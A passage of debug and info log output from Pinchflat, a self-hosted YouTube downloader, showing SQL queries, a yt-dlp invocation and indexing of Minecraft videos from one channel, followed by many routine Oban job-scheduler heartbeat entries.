'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) LIMIT 1 [139638] 08:33:38.268 [debug] Current batch of media processed. Will check again in 1000ms 08:33:39.269 [debug] Current batch of media processed. Will check again in 1000ms 08:33:40.227 [error] [command_wrapper]: /usr/local/bin/yt-dlp called with: https://youtube.com/@itskingblake --simulate --skip-download --ignore-no-formats-error --no-warnings --output /downloads/rory/King Blake👑/%(upload_date>%Y-%m-%d)S %(title)S/%(title)S [%(id)S].%(ext)S --remux-video mp4 --format-sort res:1080,+codec:avc:m4a --format bestvideo*+bestaudio/best --break-on-existing --download-archive /tmp/pinchflat/data/3b/ab/3baba424ff500d3d8966ee0ba3bba98f54d71139ffde50be4083599b71e26102.txt --print-to-file %(.{id,title,live_status,original_url,description,aspect_ratio,duration,upload_date,timestamp,playlist_index,filename})j /tmp/pinchflat/data/2a/e1/2ae109e1c341607ab5dc43ab853617384564e4e0edc2276e0fd465f0cf97fa79.json --windows-filenames --quiet --cache-dir /tmp/pinchflat/data/yt-dlp-cache exited: 101 with: 08:33:40.227 [debug] Gracefully stopping file follower 08:33:40.228 [debug] QUERY OK source="sources" db=0.3ms idle=987.7ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" IN (?)) [36] 08:33:40.228 [debug] QUERY OK source="sources" db=0.1ms idle=538.7ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [36] 08:33:40.229 [debug] QUERY OK source="media_items" db=0.5ms idle=539.0ms SELECT min(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2026-05-30 21:00:18Z], 36] 08:33:40.232 [debug] QUERY OK source="media_items" db=3.2ms idle=539.8ms INSERT INTO "media_items" AS m0 ("description","title","uuid","media_id","prevent_download","original_url","source_id","subtitle_filepaths","duration_seconds","livestream","playlist_index","predicted_media_filepath","prevent_culling","short_form_content","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "media_id" = ?, "original_url" = ?, "source_id" = ?, "duration_seconds" = ?, "livestream" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "uploaded_at" = ? RETURNING "id" ["Most Minecraft players will never find these structures naturally…\n\nFrom the mysterious Desert Well to the massive Woodland Mansion, these are 5 of the rarest structures in Minecraft! Some are hidden underground, some are thousands of blocks away, and one is so rare that most players don’t even know it exists.\n\nWhich of these structures have YOU found naturally?\n\n👑 Subscribe for more Minecraft builds, facts, secrets, and rare discoveries!\n\n#minecraft #minecraftfacts #minecraftstructures #minecrafttutorial #gaming", "5 Minecraft Structures You'll Probably Never Find", "b3b353e5-5666-4f0d-88f5-5fad09771229", "73e79OW-X4o", false, "https://www.youtube.com/watch?v=73e79OW-X4o", 36, [], 219, false, 1, "/downloads/rory/King Blake👑/2026-05-30 5 Minecraft Structures You'll Probably Never Find/5 Minecraft Structures You'll Probably Never Find [73e79OW-X4o].mp4", false, false, 98, ~U[2026-05-30 21:00:18Z], ~U[2026-06-03 12:33:40Z], ~U[2026-06-03 12:33:40Z], "Most Minecraft players will never find these structures naturally…\n\nFrom the mysterious Desert Well to the massive Woodland Mansion, these are 5 of the rarest structures in Minecraft! Some are hidden underground, some are thousands of blocks away, and one is so rare that most players don’t even know it exists.\n\nWhich of these structures have YOU found naturally?\n\n👑 Subscribe for more Minecraft builds, facts, secrets, and rare discoveries!\n\n#minecraft #minecraftfacts #minecraftstructures #minecrafttutorial #gaming", "5 Minecraft Structures You'll Probably Never Find", "73e79OW-X4o", "https://www.youtube.com/watch?v=73e79OW-X4o", 36, 219, false, "/downloads/rory/King Blake👑/2026-05-30 5 Minecraft Structures You'll Probably Never Find/5 Minecraft Structures You'll Probably Never Find [73e79OW-X4o].mp4", false, ~U[2026-05-30 21:00:18Z]] 08:33:40.233 [debug] QUERY OK source="sources" db=0.2ms idle=543.4ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [36] 08:33:40.233 [debug] QUERY OK source="media_items" db=0.4ms idle=5.3ms SELECT min(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2026-05-26 21:00:32Z], 36] 08:33:40.234 [debug] QUERY OK source="media_items" db=0.6ms idle=5.6ms INSERT INTO "media_items" AS m0 ("description","title","uuid","media_id","prevent_download","original_url","source_id","subtitle_filepaths","duration_seconds","livestream","playlist_index","predicted_media_filepath","prevent_culling","short_form_content","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "media_id" = ?, "original_url" = ?, "source_id" = ?, "duration_seconds" = ?, "livestream" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "uploaded_at" = ? RETURNING "id" ["In this video, I’ll show you 5 insane Minecraft portal designs that will completely upgrade your world! From a creepy dragon portal to a giant pumpkin portal, these builds are perfect for survival or creative worlds.\n\nPortal Order:\n🔥 Crimson Portal\n⚡ On/Off Portal\n💣 Creeper Portal\n🎃 Pumpkin Portal\n🐉 Dragon Portal\n\nWhich portal was your favorite?\n\n👍 Like & Subscribe for more Minecraft build ideas!\n\n#minecraft #minecraftbuilds #minecrafttutorial #minecraftdesign #minecraftsurvival", "5 Minecraft Portal Designs You NEED", "5c80aaf2-8f31-4391-a760-6e0aba7181eb", "TM5BcRFffhY", false, "https://www.youtube.com/watch?v=TM5BcRFffhY", 36, [], 366, false, 2, "/downloads/rory/King Blake👑/2026-05-26 5 Minecraft Portal Designs You NEED/5 Minecraft Portal Designs You NEED [TM5BcRFffhY].mp4", false, false, 98, ~U[2026-05-26 21:00:32Z], ~U[2026-06-03 12:33:40Z], ~U[2026-06-03 12:33:40Z], "In this video, I’ll show you 5 insane Minecraft portal designs that will completely upgrade your world! From a creepy dragon portal to a giant pumpkin portal, these builds are perfect for survival or creative worlds.\n\nPortal Order:\n🔥 Crimson Portal\n⚡ On/Off Portal\n💣 Creeper Portal\n🎃 Pumpkin Portal\n🐉 Dragon Portal\n\nWhich portal was your favorite?\n\n👍 Like & Subscribe for more Minecraft build ideas!\n\n#minecraft #minecraftbuilds #minecrafttutorial #minecraftdesign #minecraftsurvival", "5 Minecraft Portal Designs You NEED", "TM5BcRFffhY", "https://www.youtube.com/watch?v=TM5BcRFffhY", 36, 366, false, "/downloads/rory/King Blake👑/2026-05-26 5 Minecraft Portal Designs You NEED/5 Minecraft Portal Designs You NEED [TM5BcRFffhY].mp4", false, ~U[2026-05-26 21:00:32Z]] 08:33:40.235 [debug] QUERY OK source="sources" db=0.2ms idle=5.7ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [36] 08:33:40.235 [debug] QUERY OK source="media_items" db=0.5ms idle=2.6ms SELECT min(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2026-05-19 21:00:24Z], 36] 08:33:40.236 [debug] QUERY OK source="media_items" db=0.6ms idle=2.8ms INSERT INTO "media_items" AS m0 ("description","title","uuid","media_id","prevent_download","original_url","source_id","subtitle_filepaths","duration_seconds","livestream","playlist_index","predicted_media_filepath","prevent_culling","short_form_content","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "media_id" = ?, "original_url" = ?, "source_id" = ?, "duration_seconds" = ?, "livestream" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "uploaded_at" = ? RETURNING "id" ["In this video, I’ll show you 5 Minecraft furniture builds that will make your house look WAY better!\n\nThese builds aren’t just decoration either — most of them actually work in survival Minecraft. From a realistic sofa you can sit on, to a bunk bed you can sleep in with your friends, these builds are perfect for upgrading your world.\n\nBuilds included:\n🛋️ Realistic Sofa\n🛏️ Working Bunk Bed\n🖥️ Gaming PC Setup\n🛌 Realistic Bed\n🎹 Realistic Piano\n\nIf you enjoyed the video, make sure to subscribe for more Minecraft build ideas, tutorials, and creative designs!\n\n#Minecraft #MinecraftBuilds #MinecraftTutorial #MinecraftIdeas #Gaming", "5 Minecraft Furniture Builds Your House Needs!", "3099e8ac-dd42-4e96-9ac3-8624164152e3", "-GsNuTlC-pM", false, "https://www.youtube.com/watch?v=-GsNuTlC-pM", 36, [], 553, false, 3, "/downloads/rory/King Blake👑/2026-05-19 5 Minecraft Furniture Builds Your House Needs!/5 Minecraft Furniture Builds Your House Needs! [-GsNuTlC-pM].mp4", false, false, 98, ~U[2026-05-19 21:00:24Z], ~U[2026-06-03 12:33:40Z], ~U[2026-06-03 12:33:40Z], "In this video, I’ll show you 5 Minecraft furniture builds that will make your house look WAY better!\n\nThese builds aren’t just decoration either — most of them actually work in survival Minecraft. From a realistic sofa you can sit on, to a bunk bed you can sleep in with your friends, these builds are perfect for upgrading your world.\n\nBuilds included:\n🛋️ Realistic Sofa\n🛏️ Working Bunk Bed\n🖥️ Gaming PC Setup\n🛌 Realistic Bed\n🎹 Realistic Piano\n\nIf you enjoyed the video, make sure to subscribe for more Minecraft build ideas, tutorials, and creative designs!\n\n#Minecraft #MinecraftBuilds #MinecraftTutorial #MinecraftIdeas #Gaming", "5 Minecraft Furniture Builds Your House Needs!", "-GsNuTlC-pM", "https://www.youtube.com/watch?v=-GsNuTlC-pM", 36, 553, false, "/downloads/rory/King Blake👑/2026-05-19 5 Minecraft Furniture Builds Your House Needs!/5 Minecraft Furniture Builds Your House Needs! [-GsNuTlC-pM].mp4", false, ~U[2026-05-19 21:00:24Z]] 08:33:40.237 [debug] QUERY OK source="sources" db=0.1ms idle=3.1ms UPDATE "sources" SET "last_indexed_at" = ?, "updated_at" = ? WHERE "id" = ? [~U[2026-06-03 12:33:40Z], ~U[2026-06-03 12:33:40Z], 36] 08:33:40.237 [debug] QUERY OK source="media_items" db=0.6ms idle=2.6ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."source_id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) [36] 08:33:40.238 [debug] QUERY OK source="media_items" db=0.6ms idle=2.9ms SELECT count(*) FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."source_id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) [36] 08:33:40.239 [debug] QUERY OK source="media_items" db=0.2ms idle=2.9ms SELECT count(*) FROM "media_items" AS m0 WHERE ((m0."source_id" = ?) AND NOT (m0."media_filepath" IS NULL)) [36] 08:33:40.240 [debug] QUERY OK source="tasks" db=0.1ms idle=2.0ms INSERT INTO "tasks" ("job_id","source_id","inserted_at","updated_at") VALUES (?1,?2,?3,?4) RETURNING "id" [7275, 36, ~U[2026-06-03 12:33:40Z], ~U[2026-06-03 12:33:40Z]] 08:33:40.240 [info] {"args":{"id":36},"id":7259,"meta":{},"state":"success","max_attempts":20,"queue":"media_collection_indexing","worker":"Pinchflat.SlowIndexing.MediaCollectionIndexingWorker","source":"oban","duration":9007988,"event":"job:stop","queue_time":189141,"attempt":1,"tags":["media_source","media_collection_indexing","show_in_dashboard"]} 08:33:59.402 [info] {"source":"oban","duration":1806,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 08:34:00.100 [info] {"source":"oban","duration":700,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 08:34:29.405 [info] {"source":"oban","duration":1566,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 08:34:59.408 [info] {"source":"oban","duration":1961,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 08:35:00.102 [info] {"source":"oban","duration":407,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 08:35:29.411 [info] {"source":"oban","duration":1757,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 08:35:59.414 [info] {"source":"oban","duration":1894,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 08:36:00.104 [info] {"source":"oban","duration":621,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 08:36:29.417 [info] {"source":"oban","duration":1605,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 08:36:59.419 [info] {"source":"oban","duration":1429,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 08:37:00.106 [info] {"source":"oban","duration":591,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 08:37:29.421 [info] {"source":"oban","duration":1792,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 08:37:59.424 [info] {"source":"oban","duration":1624,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 08:38:00.108 [info] {"source":"oban","duration":666,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 08:38:29.427 [info] {"source":"oban","duration":2004,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 08:38:59.430 [info] {"source":"oban","duration":1809,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 08:39:00.109 [info] {"source":"oban","duration":372,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 08:39:29.433 [info] {"source":"oban","duration":2242,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 08:39:59.436 [info] {"source":"oban","duration":1797,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 08:40:00.111 [info] {"source":"oban","duration":414,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 08:40:29.439 [info] {"source":"oban","duration":1471,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 08:40:59.441 [info] {"source":"oban","duration":1829,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 08:41:00.112 [info] {"source":"oban","duration":642,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 08:41:29.444 [info] {"source":"oban","duration":1545,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 08:41:59.446 [info] {"source":"oban","duration":2112,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 08:42:00.114 [info] {"source":"oban","duration":604,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 08:42:29.449 [info] {"source":"oban","duration":1954,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 08:42:59.452 [info] {"source":"oban","duration":2184,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 08:43:00.115 [info] {"source":"oban","duration":193,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 08:43:29.455 [info] {"source":"oban","duration":1792,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 08:43:59.458 [info] {"source":"oban","duration":2276,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 08:44:00.117 [info] {"source":"oban","duration":401,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 08:44:29.461 [info] {"source":"oban","duration":1719,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 08:44:59.464 [info] {"source":"oban","duration":2009,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 08:45:00.118 [info] {"source":"oban","duration":390,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 08:45:29.467 [info] {"source":"oban","duration":1901,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 08:45:59.470 [info] {"source":"oban","duration":1636,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 08:46:00.120 [info] {"source":"oban","duration":403,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 08:46:29.473 [info] {"source":"oban","duration":1706,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 08:46:59.476 [info] {"source":"oban","duration":2015,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 08:47:00.120 [info] {"source":"oban","duration":372,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 08:47:29.479 [info] {"source":"oban","duration":1515,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 08:47:59.482 [info] {"source":"oban","duration":1573,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 08:48:00.122 [info] {"source":"oban","duration":376,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 08:48:29.485 [info] {"source":"oban","duration":1616,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 08:48:59.488 [info] {"source":"oban","duration":1770,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 08:49:00.123 [info] {"source":"oban","duration":474,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 08:49:29.491 [info] {"source":"oban","duration":1577,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 08:49:59.493 [info] {"source":"oban","duration":1771,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 08:50:00.125 [info] {"source":"oban","duration":381,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 08:50:29.496 [info] {"source":"oban","duration":1587,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 08:50:59.498 [info] {"source":"oban","duration":1569,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 08:51:00.126 [info] {"source":"oban","duration":584,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 08:51:29.500 [info] {"source":"oban","duration":1569,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 08:51:59.503 [info] {"source":"oban","duration":1734,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 08:52:00.126 [info] {"source":"oban","duration":412,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 08:52:29.506 [info] {"source":"oban","duration":1799,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 08:52:59.509 [info] {"source":"oban","duration":2325,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 08:53:00.128 [info] {"source":"oban","duration":694,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 08:53:29.512 [info] {"source":"oban","duration":1540,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 08:53:59.515 [info] {"source":"oban","duration":1642,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 08:54:00.130 [info] {"source":"oban","duration":599,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 08:54:29.518 [info] {"source":"oban","duration":2024,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 08:54:59.521 [info] {"source":"oban","duration":2108,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 08:55:00.132 [info] {"source":"oban","duration":446,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 08:55:29.524 [info] {"source":"oban","duration":2180,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 08:55:59.527 [info] {"source":"oban","duration":2019,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 08:56:00.134 [info] {"source":"oban","duration":372,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 08:56:29.530 [info] {"source":"oban","duration":1896,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 08:56:59.533 [info] {"source":"oban","duration":2052,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 08:57:00.135 [info] {"source":"oban","duration":402,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 08:57:29.536 [info] {"source":"oban","duration":1561,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 08:57:59.539 [info] {"source":"oban","duration":2322,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 08:58:00.137 [info] {"source":"oban","duration":406,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 08:58:29.542 [info] {"source":"oban","duration":2249,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 08:58:59.545 [info] {"source":"oban","duration":2377,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 08:59:00.139 [info] {"source":"oban","duration":466,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 08:59:29.548 [info] {"source":"oban","duration":1743,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 08:59:59.551 [info] {"source":"oban","duration":2219,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 09:00:00.139 [info] {"source":"oban","duration":380,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 09:00:29.554 [info] {"source":"oban","duration":1561,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 09:00:59.556 [info] {"source":"oban","duration":1674,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 09:01:00.141 [info] {"source":"oban","duration":417,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 09:01:29.559 [info] {"source":"oban","duration":1832,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 09:01:59.562 [info] {"source":"oban","duration":1500,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 09:02:00.143 [info] {"source":"oban","duration":404,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 09:02:29.564 [info] {"source":"oban","duration":1996,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 09:02:59.567 [info] {"source":"oban","duration":2463,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 09:03:00.145 [info] {"source":"oban","duration":500,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 09:03:29.570 [info] {"source":"oban","duration":2080,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 09:03:59.573 [info] {"source":"oban","duration":1548,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 09:04:00.147 [info] {"source":"oban","duration":384,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 09:04:29.576 [info] {"source":"oban","duration":1690,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 09:04:59.578 [info] {"source":"oban","duration":1528,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 09:05:00.148 [info] {"source":"oban","duration":408,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 09:05:29.582 [info] {"source":"oban","duration":2416,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 09:05:59.585 [info] {"source":"oban","duration":2414,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 09:06:00.150 [info] {"source":"oban","duration":395,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 09:06:29.588 [info] {"source":"oban","duration":1691,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 09:06:59.590 [info] {"source":"oban","duration":958,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 09:07:00.151 [info] {"source":"oban","duration":387,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 09:07:29.593 [info] {"source":"oban","duration":1856,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 09:07:59.596 [info] {"source":"oban","duration":2189,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 09:08:00.153 [info] {"source":"oban","duration":615,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 09:08:29.599 [info] {"source":"oban","duration":1912,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 09:08:59.602 [info] {"source":"oban","duration":1675,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 09:09:00.155 [info] 